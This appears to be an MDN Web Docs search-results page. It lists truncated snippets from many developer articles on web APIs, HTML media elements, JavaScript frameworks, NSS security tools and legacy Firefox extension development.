... objective: to show how to set up a selenium testing environment locally and run tests with it, and how to integrate it with tools like lambdatest, sauce labs, and browserstack.
...there are other ways, but the best way to use selenium is via webdriver, a powerful api that builds on top of selenium and makes calls to a browser to automate it, carrying out actions such as "open this web page", "move over this element on the page", "click this link", "see whether the link opens this url", etc.
...And 63 more matches
Package management basics - Learn web development
previous overview: understanding client-side tools next in this article we'll look at package managers in some detail to understand how we can use them in our own projects — to install project tool dependencies, keep them up-to-date, and more.
...a web project can have any number of dependencies, ranging from none to many, and your dependencies might include sub-dependencies that you didn't explicitly install — your dependencies may have their own dependencies.
... a simple example of a useful dependency that your project might need is some code to calculate relative dates as human-readable text.
...And 63 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
generates encryption/mac keys and outputs public key as pkcs11 certificate signing request /* this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
...d mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" #define ns_cert_enc_header "-----begin certificate for encryption-----" #define ns_cert_enc_trailer "-----end certificate for encryption-----" #define ns_cert_vfy_header "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature verific...
...And 63 more matches
PKCS11 Implement
implementing pkcs #11 for nss note: this document was originally for the netscape security library that came with netscape communicator 4.0.
...this document supplements the information in pkcs #11: cryptographic token interface standard, version 2.0 with guidelines for implementors of cryptographic modules who want their products to work with mozilla client software: how nss calls pkcs #11 functions.
... function-specific information organized in the same categories as the pkcs #11 specification.
...And 63 more matches
sslintro.html
upgraded documentation may be found in the current nss reference overview of an ssl application chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
...chapter 2, "getting started with ssl" illustrates their use in sample client and server applications.
... an ssl application typically includes five parts: initialization configuration communication functions used by callbacks cleanup although the details differ somewhat for client and server applications, the concepts and many of the functions are the same for both.
...And 63 more matches
JIT Optimization Strategies
provide a repository of jit optimization strategy information which the jit coach tool can parse to display in its ui.
...the most commonplace operations that are relevant for fast program execution are property accesses and function calls.
... optimization information is currently collected for the following operations: getproperty (obj.prop) setproperty (obj.prop = val) getelement (obj[elemname]) setelement (obj[elemname] = val) call (func(...)) at each operation site, ionmonkey tries a battery of strategies, from the most optimized but most restrictive to the least optimized but least restrictive.
...And 63 more matches
Index
found 118 pages: # page tags and summary 1 thunderbird thunderbird thunderbird is a mail/messaging application managed and developed by the thunderbird community.
...if the user already has an email account, the user can switch to the original account setup wizard.
...the activity manager works in conjunction with the interactive status bar to give the user notifications concerning what thunderbird is doing and how thunderbird has handled user requests.
...And 63 more matches
Geometry and reference spaces in WebXR - Web APIs
in this article, we introduce the ways in which webxr expands upon the geometry of webgl, and how the positions and orientations of objects—both physical and virtual—are described in relation to one another using spaces and, in particular, reference spaces.
... the article spatial tracking in webxr builds upon the information provided here to cover how the physical position and orientation of the user's head, as well as potentially other parts of their body such as the hands, are mapped into the digital world, as well as how the relative positions of both physical and virtual objects are tracked as they move around, so that the scene can be properly rendered and composited.
... fundamentals of 3d geometry while we'll examine here the required math operations used to compute the positions, orientations, and movement of objects in virtual space—plus the need to integrate the human viewer of the scene into the mix—a thorough introduction to geometry and the use of matrices and vectors to manage 3d representations of a scene is well beyond the scope of what can be accomplished in this article.
...And 63 more matches
Background Tasks API - Web APIs
the cooperative scheduling of background tasks api (also referred to as the background tasks api or simply the requestidlecallback() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so.
...certainly most if not all code that is capable of making changes to the dom is running in the main thread, since it's common for user interface changes to only be available to the main thread.
... because event handling and screen updates are two of the most obvious ways users notice performance issues, it's important for your code to be a good citizen of the web and help to prevent stalls in the execution of the event loop.
...And 62 more matches
Using XMLHttpRequest - Web APIs
examples of both common and more obscure use cases for xmlhttprequest are included.
... function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously.
...a detailed discussion and demonstrations of these two types of requests can be found on the synchronous and asynchronous requests page.
...And 62 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
well, xul overlays and windows, jsm files, chrome & resource mappings with localization, default preferences, but no xpcom components of your own.
...the examples will also assume that you know how to properly add instructions to your add-on's chrome.manifest to add and remove resource, chrome, locale, & etc.
... mappings, so that you can access your files with custom paths such as: resource://myaddon/filename.ext chrome://myaddon/content/filename.ext step 2: no more resource:// uris for files internal to your bundle unfortunately, resource mappings in your chrome.manifest were not usable in restartless add-ons until mozilla finally fixed this bug in firefox 38, which looked bad, but only because mozilla is still using resource:// uris internally and in examples.
...And 61 more matches
Install Manifests - Archive of obsolete content
introduction an install manifest is the file an add-on manager-enabled xul application (e.g.
...it contains metadata identifying the add-on, providing information about who created it, where more information can be found about it, which versions of what applications it is compatible with, how it should be updated, and so on.
... the file must be called install.rdf and live at the top level of an add-on's xpi file.
...And 61 more matches
Client-Server Overview - Learn web development
there is no real code in the discussion because we haven't yet chosen a web framework to use to write our code!
... this discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which programming language or web framework you select.
... web servers and http (a primer) web browsers communicate with web servers using the hypertext transfer protocol (http).
...And 61 more matches
Expressions and operators - JavaScript
« previousnext » this chapter describes javascript's expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, ternary and more.
... assignment operators comparison operators arithmetic operators bitwise operators logical operators string operators conditional (ternary) operator comma operator unary operators relational operators javascript has both binary and unary operators, and one special ternary operator, the conditional operator.
... there are also compound assignment operators that are shorthand for the operations listed in the following table: compound assignment operators name shorthand operator meaning assignment x = y x = y addition assignment x += y x = x + y subtraction assignment x -= y x = x - y multiplication assignment x *= y x = x * y division assignment x /= y x = x / y remainder assignment x %= y x = x % y exponentiation assignment x **= y x = x ** y left shift assignment x <<= y x = x << y right shift assignment x >>= y x = x >> y unsigned right shift assignment x >>>= y x = x >>> y bitwis...
...And 61 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
due to deprecation of enableprivilege this functionality can not be used in web pages.
... firefox itself includes a great number of xpcom components, and they can be used in extensions as well.
... sometimes an extension will be packaged with a special xpcom component developed specifically for it.
...And 60 more matches
Getting started with React - Learn web development
we'll discover a little bit of detail about its background and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app — learning a bit about how react works in the process.
... react uses an html-in-javascript syntax called jsx (javascript and xml).
... familiarity with both html and javascript will help you to learn jsx, and better identify whether bugs in your application are related to javascript or to the more specific domain of react.
...And 60 more matches
IPDL Tutorial
ipdl, short for "inter-process-communication protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way.
... all ipdl messages are sent between parent and a child end points, called actors.
... an ipdl protocol declares how actors communicate: it declares the possible messages that may be sent between actors, as well as a state machine describing when messages are allowed to be sent.
...And 60 more matches
Reference Manual
it can be used as a member variable without introducing bloat.
... most of the work of being an owning reference can be done in the constructor, destructor, and assignment operators of nscomptr.
...in debug builds, if you subvert this invariant with one of the assignment forms that doesn't call queryinterface, nscomptr will assert at runtime in the bad assignment.
...And 60 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
understaning color, luminance, and saturation is important in meeting wcag 2 accessibility guidelines in terms of ensuring enough color contrast for sighted users with color blindness or reduced vision and preventing seizures and other physical reactions in people with vestibular disorders.
... at the surface, the subject seems simple, but it is actually a complex subject because color is as much about the physiology of the eye and human perception as it is about light emitting from a computer screen.
... how the viewer perceives color after it gets to his eyes is yet another matter, and can be affected by overall health.
...And 60 more matches
nsIPromptService
embedding/components/windowwatcher/public/nsipromptservice.idlscriptable this interface can be used to display simple dialogs.
... inherits from: nsisupports last changed in gecko 1.7.5 you can define access keys (or keyboard shortcuts) for buttons by including an ampersand ("&") in front of the character that should be the access key for that button.
...for javascript, they are extra work, as you can't use an out parameter directly.
...And 59 more matches
Storage
it is available to trusted callers, meaning extensions and firefox components only.
... note: storage is not the same as the dom:storage feature which can be used by web pages to store persistent data or the session store api (an xpcom storage utility for use by extensions).
...you can find some very useful links in the see also section however.
...And 59 more matches
Getting Started Guide
it is a template class that acts, syntactically, just like an ordinary pointer in c or c++, i.e., you can apply * or -> to it to "get to" what it points at.
... with nscomptr, you can write code that is shorter, cleaner, clearer, and safer, than you can with raw xpcom interface pointers.
... all xpcom objects are allocated on the heap.
...And 59 more matches
Introduction to the File and Directory Entries API - Web APIs
the file and directory entries api simulates a local file system that web apps can navigate around.
... you can develop apps that can read, write, and create files and directories in a sandboxed, virtual file system.
...these apis are a giant evolutionary leap for web apps, which can now cache and process large amounts of data.
...And 59 more matches
Lighting a WebXR setting - Web APIs
because the webxr device api relies on other technologies—namely, webgl and frameworks based upon it—to perform all rendering, texturing, and lighting of a scene, the same general lighting concepts apply to webxr settings or scenes as to any other webgl-generated display.
... however, there are issues and details to keep in mind while creating your lighting code, especially for augmented reality (ar) applications.
... every object we see, we see because the object either emits or reflects light (or both).
...And 59 more matches
Codecs used by WebRTC - Web media technologies
the webrtc api makes it possible to construct web sites and apps that let users communicate in real time, using audio and/or video as well as optional data and other information.
... to communicate, the two devices need to be able to agree upon a mutually-understood codec for each track so they can successfully communicate and present the shared media.
...which codecs can be within those tracks is not mandated by the webrtc specification.
...And 59 more matches
Editor Embedding Guide - Archive of obsolete content
in the beginning there is makeeditable given an nsiwebbrowser instance, get an nsidomwindow from the getcontentdomwindow call.
... then simply call nsiwebbrowser->do_getinterface on the nsiwebbrowser to retrieve the nsieditingsession from it.
... from there you call editingsession->makewindoweditable(domwindow, editortype, pr_true).
...And 58 more matches
jspage - Archive of obsolete content
var mootools={version:"1.2.4",build:"0d9113241a90b9cd5643b926795852a2026710d4"};var native=function(k){k=k||{};var a=k.name;var i=k.legacy;var b=k.protect; var c=k.implement;var h=k.generics;var f=k.initialize;var g=k.afterimplement||function(){};var d=f||i;h=h!==false;d.constructor=native;d.$family={name:"native"}; if(i&&f){d.prototype=i.prototype;}d.prototype.constructor=d;if(a){var e=a.tolowercase();d.prototype.$family={name:e};native.typize(d,e);}var j=function(n,l,o,m){if(!b||m||!n.prototype[l]){n.prototype[l]=o; }if(h){native.genericize(n,l,b);}g.call(n,l,o);return n;};d.alias=function(n,l,p){if(typeof n=="string"){var o=this.prototype[n];if((n=o)){return j(this,l,n,p); }}for(var m in n){this.alias(m,n[m],l);}return this;};d.implement=function(m,l,o){if(typeof m=="string"){return j(th...
...is,m,l,o);}for(var n in m){j(this,n,m[n],l); }return this;};if(c){d.implement(c);}return d;};native.genericize=function(b,c,a){if((!a||!b[c])&&typeof b.prototype[c]=="function"){b[c]=function(){var d=array.prototype.slice.call(arguments); return b.prototype[c].apply(d.shift(),d);};}};native.implement=function(d,c){for(var b=0,a=d.length;b<a;b++){d[b].implement(c);}};native.typize=function(a,b){if(!a.type){a.type=function(c){return($type(c)===b); };}};(function(){var a={array:array,date:date,function:function,number:number,regexp:regexp,string:string};for(var h in a){new native({name:h,initialize:a[h],protect:true}); }var d={"boolean":boolean,"native":native,object:object};for(var c in d){native.typize(d[c],c);}var f={array:["concat","indexof","join","lastindexof","pop","push","reverse","shif...
...t","slice","sort","splice","tostring","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr","substring","tolowercase","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=new native({name:"hash",initialize:function(a){if($type(a)=="hash"){a=$unlink(a.getclean()); }for(var b in a){this[b]=a[b];}return this;}});hash.implement({foreach:function(b,c){for(var a in this){if(this.hasownproperty(a)){b.call(c,this[a],a,this); }}},getclean:function(){var b={};for(var a in this){if(this.hasownproperty(a)){b[a]=this[a];}}return b;},getlength:function(){var b=0;for(var a in this){if(this.hasownproperty(a)){b++; }}return b;}});hash.alias("foreach","each")...
...And 58 more matches
How to build custom form controls - Learn web development
there are some cases where the available native html form controls may seem like they are not enough.
...to do this, it's good to start with an existing control whose states and behavior are well known, so that you can simply mimic those as much as possible.
... finally, let's define how the control's options will behave: when the control is opened, the selected option is highlighted when the mouse is over an option, the option is highlighted and the previously highlighted option is returned to its normal state for the purposes of our example, we'll stop with that; however, if you're a careful reader, you'll notice that some behaviors are missing.
...And 58 more matches
Making decisions in your code — conditionals - Learn web development
overview: building blocks next in any programming language, the code needs to make decisions and carry out actions accordingly depending on different inputs.
...in this article, we'll explore how so-called conditional statements work in javascript.
... you can have it on one condition..!
...And 58 more matches
Getting started with Svelte - Learn web development
then we will learn how to setup our development environment, create a sample app, understand the structure of the project, and see how to run it locally and build it for production.
... objective: to setup a local svelte development environment, create and build a starter app, and understand the basics of how it works.
... the outcome of this approach is not only smaller application bundles and better performance, but also a developer experience that is more approachable for people that have limited experience of the modern tooling ecosystem.
...And 58 more matches
HTML parser threading
(for historical reasons, it also contains unrelated fragment parsing code that should be refactored into a separate class in due course.) nshtml5streamparser contains the code for dealing with data from the network.
...it also has another lazily initialized tokenizer/tree builder for speculatively scanning the tail of document.write() data when the parser blocks without parsing the document.write() data to completion.
...if the parser is not script-created, nshtml5parser::markasnotscriptcreated() is called to create an nshtml5streamparser for the nshtml5parser.
...And 58 more matches
Intersection Observer API - Web APIs
historically, detecting visibility of an element, or the relative visibility of two elements in relation to each other, has been a difficult task for which solutions have been unreliable and prone to causing the browser and the sites the user is accessing to become sluggish.
... reporting of visibility of advertisements in order to calculate ad revenues.
... implementing intersection detection in the past involved event handlers and loops calling methods like element.getboundingclientrect() to build up the needed information for every element affected.
...And 58 more matches
HTML attribute reference - HTML: Hypertext Markup Language
attribute list attribute name elements description accept <form>, <input> list of types the server accepts, typically a file type.
... align <applet>, <caption>, <col>, <colgroup>, <hr>, <iframe>, <img>, <table>, <tbody>, <td>, <tfoot> , <th>, <thead>, <tr> specifies the horizontal alignment of the element.
... alt <applet>, <area>, <img>, <input> alternative text in case an image can't be displayed.
...And 58 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
note this article is the version from 2003 with slight modifications (no images and no links to samples).
...for web developers, for example, it provides less fine-grained control over the experience, and it can strain bandwidth and other resources.
... and for users it usually doesn't begin to approach the seamlessness and usability of good application user interfaces.
...And 57 more matches
Modularization techniques - Archive of obsolete content
the mechanism we're using is based on the principles laid down by com, so pretty much anything you know about com can be applied here, and any reference on com can provide you with more interesting and complex examples than the ones provided here.
...a pure virtual interface is simply a class where every method is defined as pure virtual, that is: virtual int foo(int bar) = 0; pure virtual interfaces provide an easy mechanism for passing function tables between modules that may reside in separate, possibly dynamically loaded, libraries.
...the caller passes in an id and a pointer to a address to place the resulting interface.
...And 57 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
the object element: w3c standards and cross-browser issues the object element is part of the html 4.01 specification, and is the recommended mechanism to invoke plugins.
... its use is subject to a few caveats that this section outlines.
... traditionally, the object element has been used differently by microsoft internet explorer and by mozilla-based browsers such as netscape 7.
...And 57 more matches
Mozilla’s UAAG evaluation report
this document is based on the september 12, 2001 candidate recommendation of uaag 1.0.
...checkpoint information (same scaled used on w3c's uaag implementation reports pages) rating scale c: complete implementation vg: very good implementation, almost all requirements satisfied g: good implementation, most important requirements satisfied p: poor implementation, some requirements satisfied and/or difficult for user to access feature ni: not implemented nr: not rated ...
...na: not applicable document under construction guideline 1.
...And 57 more matches
NSS tools : modutil
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
... this tool can also create certificate, key, and module security database files.
... the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases.
...And 57 more matches
JIT Optimization Outcomes
the most typical operations that are relevant for fast program execution are property accesses and function calls.
... notypeinfo optimization failed because there was no type information associated with an object containing the property.
...this can happen if the operation sees many different types of objects, and so the type of the input to the operation cannot be resolved to a single type.
...And 57 more matches
Working with windows in chrome code
this article describes working with multiple windows in mozilla chrome code (xul applications and extensions).
... opening windows from a <script> in a window or an overlay to open a new window, we usually use a window.open or window.opendialog dom call, like this: var win = window.open("chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its contents.
... the second parameter is the window's name; the name can be used in links or forms as the target attribute.
...And 57 more matches
WebRTC connectivity - Web APIs
signaling unfortunately, webrtc can’t create connections without some sort of server in the middle.
... we call this the signal channel or signaling service.
... it’s any sort of channel of communication to exchange information before setting up a connection, whether by email, post card or a carrier pigeon...
...And 57 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
cross-origin resource sharing (cors) is a mechanism that uses additional http headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin.
... a web application executes a cross-origin http request when it requests a resource that has a different origin (domain, protocol, or port) from its own.
...this means that a web application using those apis can only request resources from the same origin the application was loaded from unless the response from other origins includes the right cors headers.
...And 57 more matches
Elements - Archive of obsolete content
please do not edit only on the basis of another xbl specification.
...each binding child element defines a unique binding that can be attached to elements in other documents.
... an element can have only one binding attached (explicitly or inherited) at one moment.
...And 56 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
you can use <video> for audio content as well, but the <audio> element may provide a more appropriate user experience.
...in a similar manner to the <img> element, we include a path to the media we want to display inside the src attribute; we can include other attributes to specify information such as video width and height, whether we want it to autoplay and loop, whether we want to show the browser's default video controls, etc.
... autoplay a boolean attribute; if specified, the video automatically begins to play back as soon as it can do so without stopping to finish loading the data.
...And 56 more matches
widget - Archive of obsolete content
deprecated in firefox 29 and removed in firefox 38.
... the widget api is deprecated from firefox 29 onwards.
...they can be simple icons or complex web pages.
...And 55 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
reasons why you might want to include c++ components in your extension include: need for high-performance beyond what can be delivered by javascript code.
... note: with the modern jit javascript engine in gecko and js-ctypes more extension code can be written only in javascript than ever before.
... please consider all of your options carefully before deciding to use native code (c++) in your extension.
...And 55 more matches
Command line options
command line options are used to specify various startup options for mozilla applications.
... for example, if you have multiple profiles you can use command line configuration options to bypass the profile manager and open a specific profile.
... you can also control how mozilla applications open, which components open initially, and what the components do when they open.
...And 55 more matches
Eclipse CDT
introduction eclipse cdt (c/c++ development tools) is an open-source ide for c and c++ development with advanced code assistance (inheritance/call graph explorer, jump to definition, refactoring, autocomplete, syntax highlighting, and so on).
... download "eclipse ide for c/c++ developers" (not eclipse ide for enterprise java developers) from the eclipse download page, install it, and add the directory containing the eclipse binary to your path (/applications/eclipse.app/contents/eclipse/ on mac).
... you can increase eclipse's memory limits using the eclipse.ini that lives alongside the eclipse binary.
...And 55 more matches
gtstd.html
upgraded documentation may be found in the current nss reference getting started with ssl chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases.
... ssl, pkcs #11, and the default security databases setting up the certificate and key databases building nss programs ssl, pkcs #11, and the default security databases the basic relationships among the nss libraries are described in introduction to network security services.
... before running the sample programs, it's important to understand the relationships between the ssl interface, the pkcs #11 interface, pkcs #11 modules, and the default netscape security databases.
...And 55 more matches
NSS Tools modutil
you can use the tool to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
... this tool can also create key3.db, cert8.db, and secmod.db security database files.
... the tasks associated with security module database management are part of a process that typically also involves managing key databases (key3.db files) and certificate databases (cert8.db files).
...And 55 more matches
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
... this tool can also create certificate, key, and module security database files.
... the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases.
...And 55 more matches
Component Internals
read on to see how components are generally implemented in xpcom, or you can skip to the next chapter, where the weblock component tutorial takes you step by step through the component creation process.
...it gets called during registration and unregistration of the component, and when xpcom wants to discover what interfaces or classes the module/library implements.
... components reside in modules, and those modules are defined in shared library files that typically sit in the components directory of an xpcom application.
...And 55 more matches
Add to iPhoto
this extension for mac os x serves as a demonstration of how to use js-ctypes to call mac os x carbon, core foundation, and other system frameworks from an extension written entirely in javascript.
... note: this extension uses carbon routines, which can no longer be used in firefox add-ons now that firefox is a 64-bit application.
... you can download an installable version of this extension on amo.
...And 55 more matches
Bootstrapped extensions - Archive of obsolete content
traditional extensions include overlays, wherein the application can load up xul from the extension's package and automatically apply it on top its own ui.
... while this makes creating extensions that add to the application's user interface relatively easy, it means that updating, installing, or disabling an extension requires an application restart.
...these are special extensions that, instead of using overlays to apply their user interface to the application, programmatically insert themselves into the application.
...And 54 more matches
Introduction to XUL - Archive of obsolete content
preamble mozilla has configurable, downloadable chrome, meaning that the arrangement and even presence or absence of controls in the main window is not hardwired into the application, but loaded from a separate ui description.
...xul is an application of xml.
... in fact, it is just xml with specific meaning defined for a few element types, and into which html can be scattered.
...And 54 more matches
Video and audio content - Learn web development
in this article we'll look at doing just that with the <video> and <audio> elements; we'll then finish off by looking at how to add captions/subtitles to your videos.
... objective: to learn how to embed video and audio content into a webpage, and add captions/subtitles to video.
...eo and audio on the web for a long time, ever since the early 2000s when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) in the early days, native web technologies such as html didn't have the ability to embed video and audio on the web, so proprietary (or plugin-based) technologies like flash (and later, silverlight) became popular for handling such content.
...And 54 more matches
Introduction to NSPR
the netscape portable runtime (nspr) api allows compliant applications to use system facilities such as threads, thread synchronization, i/o, interval timing, atomic operations, and several other low-level services in a platform-independent manner.
... nspr naming conventions naming of nspr types, functions, and macros follows the following conventions: types exported by nspr begin with pr and are followed by intercap-style declarations, like this: print, prfiledesc function definitions begin with pr_ and are followed by intercap-style declarations, like this: pr_read, pr_jointhread preprocessor macros begin with the letters pr and are followed by all uppercase characters separated with the underscore character (_), like this: pr_bytes_per_short, pr_extern nspr threads nspr provides an execution environm...
... nspr threads are scheduled in two separate domains: local threads are scheduled within a process only and are handled entirely by nspr, either by completely emulating threads on each host operating system (os) that doesn't support threads, or by using the threading facilities of each host os that does support threads to emulate a relatively large number of local threads by using a relatively small number of native threads.
...And 54 more matches
PKCS #11 Module Specs
names can be any alpha/numeric combination, and are parsed case-insensitive.
... values can contain any printable ascii value, including utf8 characters.
... values can contain embedded blanks either through quoting the entire value, or by escaping the embedded blanks with '\'.
...And 54 more matches
XPIDL
idls make it possible to define interfaces which can then be processed by tools to autogenerate language-dependent interface specifications.
... xpidl:syntax (now up to date again) xpidl syntax (out of date) xpidl author's guide (not as out of date) explanation of idl semantics a full guide to the syntax can be found at xpidl:syntax, which is written in an abnf form.
...at the top level, we can define typedefs, native types, or interfaces.
...And 54 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
for web developers, it is now fairly common to be called upon to create a web site or app that changes its user interface depending on the browser or device accessing the site to provide an optimized experience.
...but this is increasingly inefficient: browser sniffing is inherently error prone, and maintaining multiple copies of your code can turn out to be a nightmare.
... it is usually much better to create a single version of your code which doesn't care about what browser or platform is accessing the site, but instead uses feature tests to find out what code features the browser supports or what the values of certain browser features are, and then adjusts the code appropriately.
...And 54 more matches
XPCOM Objects - Archive of obsolete content
firefox can be seen as composed of two layers.
...in fact, you can separate the two.
... we often mention other "mozilla based applications".
...And 53 more matches
Client-side form validation - Learn web development
this is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls.
... client-side validation is an initial check and an important feature of good user experience; by catching invalid data on the client-side, the user can fix it straight away.
... if it gets to the server and is then rejected, a noticeable delay is caused by a round trip to the server and then back to the client-side to tell the user to fix their data.
...And 53 more matches
Getting started with HTML - Learn web development
you will learn how html elements are structured, how a typical html page is structured, and other important basic language features.
...it can be as complicated or as simple as the web developer wants it to be.
...the enclosing tags can make content into a hyperlink to connect to another page, italicize words, and so on.
...And 53 more matches
React interactivity: Events and state - Learn web development
in this article we'll do this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed.
... objective: to learn about handling events and state in react, and use those to start making the case study app interactive.
...there are a couple of other things to note: the camel-cased nature of onclick is important — jsx will not recognize onclick (again, it is already used in javascript for a specific purpose, which is related but different — standard onclick handler properties).
...And 53 more matches
nsIHttpChannel
netwerk/protocol/http/nsihttpchannel.idlscriptable this interface allows for the modification of http request parameters and the inspection of the resulting http response status and headers when they become available.
...io-service;1"] .getservice(components.interfaces.nsiioservice); var ch = ios.newchannel("https://www.example.com/", null, null); method overview void getoriginalresponseheader(in acstring aheader, in nsihttpheadervisitor avisitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); boolean isnocacheresponse(); boolean isnostoreresponse(); void redirectto(in nsiuri anewuri); void setemptyrequestheader(in acstring aheader); void setreferrerwithpolicy(in nsiuri referrer, in unsigned long referrerpolicy); void setrequestheader(in acstring aheader, in acstring avalue, in boolean amerge); void setresponseheader(in acstring header, in acst...
...ring value, in boolean merge); void visitoriginalresponseheaders(in nsihttpheadervisitor avisitor); void visitrequestheaders(in nsihttpheadervisitor avisitor); void visitresponseheaders(in nsihttpheadervisitor avisitor); constants constant description referrer_policy_no_referrer_when_downgrade default; indicates not to pass on the referrer when downgrading from https to http referrer_policy_no_referrer indicates no referrer will be sent referrer_policy_origin only send the origin of the referring uri referrer_policy_origin_when_xorigin same as the default; only send the origin of the referring uri for cross-origin requests referrer_policy_unsafe_url always send the referrer, even when ...
...And 53 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
it can also be the destination for streamed media, using a mediastream.
...in a similar manner to the <img> element, we include a path to the media we want to embed inside the src attribute; we can include other attributes to specify information such as whether we want it to autoplay and loop, whether we want to show the browser's default audio controls, etc.
... autoplay a boolean attribute: if specified, the audio will automatically begin playback as soon as it can do so, without waiting for the entire audio file to finish downloading.
...And 53 more matches
Browser detection using the user agent - HTTP
but browsers and standards are not perfect, and there are still some edge cases where detecting the browser is needed.
...you can almost always find a better, more broadly compatible way to solve your problem!
...also, experts, or simply people with another point of view, can give you ideas for working around the bug.
...And 53 more matches
panel - Archive of obsolete content
its content is specified as html and you can execute scripts in it, so the appearance and behavior of the panel is limited only by what you can do using html, css, and javascript.
... the screenshot below shows a panel whose content is built from the list of currently open tabs: panels are useful for presenting temporary interfaces to users in a way that is easier for users to ignore and dismiss than a modal dialog, since panels are hidden the moment users interact with parts of the application interface outside them.
... your add-on can receive notifications when a panel is shown or hidden by listening to its show and hide events.
...And 52 more matches
Setting Up a Development Environment - Archive of obsolete content
that is more than what you can get with most other editors, so we recommend you to give it a try.
...we chose make because this is the same system used by mozilla to build firefox, and it is available for all operating systems.
...it can be installed on mac os x as part of the xcode tools package, and on windows with cygwin.
...And 52 more matches
nsIContentPolicy - Archive of obsolete content
implementations of this interface can be used to control the loading of various types of out-of-line content, or the processing of certain types of inline content.
... 63 introduced gecko 1.0 inherits from: nsicontentpolicybase last changed in gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39) you can observe content that is being loaded into your browser by implementing nsicontentpolicy.
... this interface can be very useful if you are developing a content-aware plugin (blocking ads or altering the look of content, for example), or if you want to stop or allow user-browsed urls.
...And 52 more matches
TCP/IP Security - Archive of obsolete content
tcp/ip is widely used throughout the world to provide network communications.
... tcp/ip communications are composed of four layers that work together.
... at each layer, the logical units are typically composed of a header and a payload.
...And 52 more matches
Introducing asynchronous JavaScript - Learn web development
previous overview: asynchronous next in this article we briefly recap the problems associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems.
... objective: to gain familiarity with what asynchronous javascript is, how it differs from synchronous javascript, and what use cases it has.
...this section recaps some of the information we saw in the previous article.
...And 52 more matches
What is JavaScript? - Learn web development
in this article we will look at javascript from a high level, answering questions such as "what is it?" and "what can you do with it?", and making sure you are comfortable with javascript's purpose.
... objective: to gain familiarity with what javascript is, what it can do, and how it fits into a web site.
...— you can bet that javascript is probably involved.
...And 52 more matches
Download
this object is transient, though it can be included in a downloadlist so that it can be managed by the user interface and persisted across sessions.
... a new download object can be created using the downloads.createdownload() function.
... method overview promise start(); promise launch(); promise showcontainingdirectory(); promise cancel(); promise removepartialdata(); promise whensucceeded(); promise finalize([optional] boolean aremovepartialdata); properties attribute type description canceled read only boolean indicates that the download has been canceled.
...And 52 more matches
XPCOM array guide
MozillaTechXPCOMGuideArrays
introduction array types mozilla has many array classes because each array is optimized for a particular usage pattern.
... this guide describes the available arrays as well as the enumerator classes that can be used to get to them.
... can be modified?
...And 52 more matches
Debugger.Object - Firefox Developer Tools
the referent's properties do not appear directly as properties of the debugger.object instance; the debugger can access them only through methods like debugger.object.prototype.getownpropertydescriptor and debugger.object.prototype.defineproperty, ensuring that the debugger will not inadvertently invoke the referent's getters and setters.
... spidermonkey creates exactly one debugger.object instance for each debuggee object it presents to a given debugger instance: if the debugger encounters the same object through two different routes (perhaps two functions are called on the same object), spidermonkey presents the same debugger.object instance to the debugger each time.
... this means that the debugger can use the == operator to recognize when two debugger.object instances refer to the same debuggee object, and place its own properties on a debugger.object instance to store metadata about particular debuggee objects.
...And 52 more matches
JavaScript modules - JavaScript
fast forward a few years and we now have complete applications being run in browsers with a lot of javascript, as well as javascript being used in other contexts (node.js, for example).
... it has therefore made sense in recent years to start thinking about providing mechanisms for splitting javascript programs up into separate modules that can be imported when needed.
